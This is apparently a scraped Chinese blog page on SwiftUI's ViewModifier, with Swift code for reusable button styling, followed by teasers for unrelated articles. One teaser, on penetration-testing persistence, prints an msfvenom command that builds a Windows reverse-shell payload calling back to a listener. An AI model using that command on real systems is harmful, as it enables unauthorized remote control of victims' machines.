SwiftUI的 特性 - ViewModify

SwiftUI的 特性 - ViewModify

记录一下SwiftUI的 特性 - ViewModify的使用方式
可以通过viewModify来管理视图的样式,结合extension来完成封装达到解偶效果


import SwiftUI///  我们可以通过viewModify来管理视图的样式,来达到解偶效果
struct DefaultButtonViewModifier: ViewModifier {@State var font: Font@State var bgColor: Colorfunc body(content: Content) -> some View {content.font(font).foregroundColor(.white).frame(height: 55).frame(maxWidth: .infinity).background(bgColor).cornerRadius(10.0, antialiased: /*@START_MENU_TOKEN@*/true/*@END_MENU_TOKEN@*/).shadow(radius: 10)}}extension View {/// MARK - 通过拓展来简化调用过程从而完成封装func withDefaultButtonFormatting(bgColor: Color = .blue, font: Font = .title) -> some View {modifier(DefaultButtonViewModifier(font: font, bgColor: bgColor))}
}struct ViewModifierBootCamp: View {var body: some View {VStack(spacing: 20, content: {Text("Hello, World!").withDefaultButtonFormatting(bgColor: .yellow)Text("Hello, everyOne!").withDefaultButtonFormatting(font: .title3)Text("Hello !!").withDefaultButtonFormatting(bgColor: .green, font: .headline)}).padding()}
}#Preview {ViewModifierBootCamp()
}

效果:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/749448.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

图像分割的定义

图像分割是将数字图像细分为多个图像子区域(像素的集合,也被称作超像素)的过程。这些子区域的形成是基于灰度、颜色、纹理、形状或其他图像特性的相似性准则。分割的最终目标是简化或改变图像的表示形式,使其成为更容易分析的形式…

Git 命令大全

GIT 命令 ### 新建代码库 ######################## # 在当前目录新建一个Git代码库 git init# 新建一个目录,将其初始化为Git代码库 git init [project-name]# 下载一个项目和它的整个代码历史 git clone [url]### 配置 ############################# # 显示当前…

创建和认识Ruby On Rails控制器

创建和认识Ruby On Rails控制器 我们都知道Ruby On Rails是一个MVC结构的框架。必然他的控制器,视图,数据都是分开的,我们将对他们进行分解,逐个了解他们。首先我们使用命令先创建一个控制器: 注意:控制器名…

【C语言】【时间复杂度】Leetcode 153. 寻找旋转排序数组中的最小值

文章目录 题目时间复杂度概念时间复杂度的计算 解题思路代码呈现 题目 链接: link 时间复杂度 概念 时间复杂度是一种函数,定量地描述了该算法运行的时间。既然是一种函数,就涉及到自变量与因变量。因变量代表是时间复杂的规模,自变量是…

易方达产品亏损仍存,“老鼠仓”阴影犹在,如何突出重围?

近日,易方达基金宣布易方达沪深300 ETF跻身“千亿规模ETF”行列,成为国内“ETF千亿俱乐部”的第三位成员。截至3月8日,该基金的规模增长112.21亿元,涨幅9.45%,规模增量在10亿以上的股票型ETF产品中排名第一。 回望202…

小兔鲜鲜项目(前端vue3)

成果图 大家喜欢给一个赞被, 项目地址:gitee 注意:项目克隆下去之后先运行 npm i之后安装项目插件包之后在npm run dev 运行就可以了

华为交换机端口类型:Access、Trunk、Hybrid

华为交换机端口类型:Access、Trunk、Hybrid 接入端口(Access Port) Access 端口是交换机上用来连接用户主机的端口,它只能连接接入链路。 只允许一个VLAN 的帧通过,该VLAN 即为接入端口的默认VLAN。 干道端口&#x…

友塔游戏测试开发笔面经验

题目一 给定任意非负整数M,判断其能否表达为 M 2 ^a 2 ^b(a和b为非负整数),若可以输出a和b,若不能输出-1; 例如: 输入:6 输出: “1 2” 分析: void findAB(int M){} 为解决问题的主函数 …

Avalonia学习1:下载通用皮肤SukiUI,并在windows上启动成功

目录 1、引言 2、碰到的问题 1、下载下拉VS2022老版本的用不了。 2、升级后,发现没有装wsl,导致启动不了,但wsl又由于国内的关系安装不了,怎么办呢, 1、引言 最近在想有没有什么可以开发在Linux下运行…

dp动态规划的基本

在平时刷题的过程中,总会有一些题目让人无法下手,比如什么最长上升子序列,最长公共子序列,01背包…当你去了解它时,你会知道它们叫一个统一的名字 ----动态规划(dp),这是什么东西?&a…

24计算机考研调剂 | 哈尔滨理工大学

中科院系统单位(自动化学科)与哈尔滨理工大学联合培养招收调剂生 考研调剂招生信息 学校:哈尔滨理工大学 专业:工学->计算机科学与技术 工学->控制科学与工程 工学->软件工程 年级:2024 招生人数:4 招生状态:正在招生中 联系方式:******…

SQLite数据库使用指南以及相关API编程

SQLite介绍 SQLite是一种基于C语言开发的轻量级、快速、自包含、高可靠性和全功能的SQL数据库引擎。它是全球范围内使用最为广泛的数据库引擎,被嵌入到所有移动设备和大部分计算机中,并且伴随着无数日常使用的应用程序一起提供。SQLite的文件格式具有稳…

渗透测试框架权限维持技术——Persistence模块

测试环境: kali win7 测试步骤: 1.利用MSF编写远控程序 msfvenom -p windows/meterpreter/reverse_tcp lhost10.0.0.163 lport55555 -f exe -o 5555.exe-p 漏洞利用payload lhost 监听地址(kali地址) lport 监听端口&#xf…

Pikachu 靶场搭建

文章目录 环境说明1 Pikachu 简介2 Pikachu 安装 环境说明 操作系统:Windows 10PHPStudy 版本: 8.1.1.3Apache 版本:2.4.39MySQL 版本 5.7.26 1 Pikachu 简介 Pikachu是一个使用“PHP MySQL” 开发、包含常见的Web安全漏洞、适合Web渗透测试学习人员练…

面向对象的特征

封装、继承和多态。 访问修饰符范围private类内default包内protected包内,非同包子类public公共的 封装 封装是将对象的状态信息隐藏在对象内部,不允许外部程序直接访问到对象内部信息,通过该类中的方法对内部信息进行操作和访问。 继承 继…

如何在数据库中使用sql语言插入数据

在SQL中,你可以使用INSERT INTO语句来添加数据到数据库表中。以下是一个基本示例,说明如何向表中插入数据: 假设你有一个名为students的表,它有以下字段:id, name, age 和 grade。 CREATE TABLE students ( id INT P…

Leet code 179 最大数

解题思路 贪心算法 贪心算法就是走一步看一步 每一步都取当前位置的最优解 这题我们该如何贪呢? 我们先把int数组转换为string数组 以示例2为例 3 30 34 5 9 排序哪个在前哪个在后? 3 30 (330)> 30 3 (30…

【Poi-tl Documentation】区块对标签显示隐藏改造

前置说明&#xff1a; <dependency><groupId>com.deepoove</groupId><artifactId>poi-tl</artifactId><version>1.12.1</version> </dependency>模板&#xff1a; 删除行表格测试.docx 改造前测试效果 package run.siyuan…

宠物疾病 与 光线疗法

人类与动物以及大自然是相辅相成的。人离开动物将无法生存&#xff0c;对于动物我们尽力去保护&#xff0c;与大自然和谐稳定生存发展。 生息在地球上的所有动物、在自然太阳光奇妙的作用下、生长发育。太阳光的能量使它们不断进化、繁衍种族。现在、生物能够生存、全仰仗于太…

【Python使用】python高级进阶知识md总结第4篇:静态Web服务器-命令行启动动态绑定端口号,html 的介绍【附代码文档】

python高级进阶全知识知识笔记总结完整教程&#xff08;附代码资料&#xff09;主要内容讲述&#xff1a;操作系统&#xff0c;虚拟机软件&#xff0c;Ubuntu操作系统&#xff0c;Linux内核及发行版&#xff0c;查看目录命令&#xff0c;切换目录命令&#xff0c;绝对路径和相对…